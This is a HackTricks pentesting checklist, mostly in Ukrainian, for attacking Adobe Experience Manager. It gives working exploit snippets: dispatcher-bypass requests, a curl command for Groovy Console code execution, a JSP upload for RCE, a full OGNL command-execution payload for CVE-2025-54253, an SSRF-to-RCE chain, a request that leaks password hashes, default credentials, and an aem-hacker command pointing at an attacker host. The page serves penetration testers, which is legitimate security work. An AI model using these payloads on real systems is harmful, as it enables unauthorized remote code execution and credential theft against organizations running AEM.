AEM (Adobe Experience Manager) Pentesting
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) — це enterprise CMS, що працює поверх Apache Sling/Felix (OSGi) та Java Content Repository (JCR). З погляду зловмисника, інстанси AEM дуже часто відкривають небезпечні development endpoints, слабкі правила Dispatcher, default credentials та довгий хвіст CVEs, які патчаться щоквартально.
Нижче наведено чекліст, що зосереджується на externally reachable (unauth) attack surface, який постійно зустрічається у реальних engagements (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Інші швидкі індикатори:
/etc.clientlibs/присутній статичний шлях (повертає JS/CSS)./libs/granite/core/content/login.htmlсторінка входу з банером “Adobe Experience Manager”.</script><!--/* CQ */-->коментар внизу HTML.
2. Високої цінності неавторизовані кінцеві точки
| Path | What you get | Notes |
|---|---|---|
/.json, /.1.json | JCR nodes via DefaultGetServlet | Часто блокуються, але Dispatcher bypass (див. нижче) працює. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak дерева сторінок, внутрішніх шляхів, імен користувачів. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 за замовчуванням; якщо доступна й знайдено creds ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Дозволяє автентифікованим content packages → JSP payload upload. |
/etc/groovyconsole/** | AEM Groovy Console | Якщо доступна → довільне виконання Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Витік інформації. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS vector. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | На некоректно налаштованих інсталяціях Forms (CVE-2025-54253) цей endpoint виконує неавторизований OGNL → RCE. |
Dispatcher bypass tricks (still working in 2025/2026)
Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.
Classic semicolon + allowed extension
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. Поширені неправильні конфігурації (досі актуальні у 2026)
- Anonymous POST servlet –
POST /.jsonwith:operation=importдозволяє створювати нові JCR вузли. Blocking*.jsonPOST in the Dispatcher виправляє це. - World-readable user profiles – за замовчуванням ACL надає
jcr:readна/home/users/**/profile/*усім. - Default credentials –
admin:admin,author:author,replication:replication. - WCMDebugFilter enabled ⇒ reflected XSS via
?debug=layout(CVE-2016-7882, ще зустрічається на застарілих інсталяціях 6.4). - Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.jsonand/etc/truststore.jsonreachable with%2f/%3Bнавіть коли заблоковані фільтрами шляху. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=evaluates OGNL without auth (CVE-2025-54253), що призводить до неавторизованого RCE; у парі з XXE в Forms submission (CVE-2025-54254) дозволяє читання файлів.
4. Останні вразливості (ритм випусків service-pack)
| Quarter | CVE / Bulletin | Affected | Impact |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Кілька критичних/збережених XSS → виконання коду через author UI. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Ланцюжок обходу механізмів безпеки (Dispatcher auth checker) – оновіть до 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE читання файлів, без автентифікації. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Збережений XSS та ескалація привілеїв у компонентах Communities. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, довільне виконання коду (низькі привілеї). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | DOM-based XSS через спеціально створений URL. |
Завжди перевіряйте бюлетень APSB, що відповідає service-pack клієнта, і наполягайте на оновленні до останнього 6.5.24 (Nov 26, 2025) або Cloud Service 2025.12. AEM Forms on JEE потребує власного add-on hotfix 6.5.0-0108+.
5. Фрагменти експлуатації
5.1 RCE via dispatcher bypass + JSP upload
If anonymous write is possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Тепер запросіть /content/evil.jsp – JSP виконується під процесним користувачем AEM.
5.2 SSRF to RCE (для версій < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py від aem-hacker автоматизує весь ланцюг.
5.3 OGNL RCE в AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
5.4 QueryBuilder hash disclosure (encoded slash bypass)
Якщо вразливий, тіло HTTP-відповіді містить вивід команди.
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Повертає вузли користувачів, включаючи хеші rep:password, коли ACL для анонімного читання встановлено за замовчуванням.
6. Інструменти
- aem-hacker – багатофункціональний скрипт для енумерації, підтримує dispatcher bypass, SSRF detection, перевірки default-creds та інше.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – Detects QueryBuilder hash disclosure & encoded-slash bypass automatically (published Dec 2025).
- Content brute-force – рекурсивно запитує
/_jcr_content.(json|html)для виявлення прихованих компонентів. - osgi-infect – завантажити шкідливий OSGi bundle через
/system/console/bundles, якщо є creds.
References
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


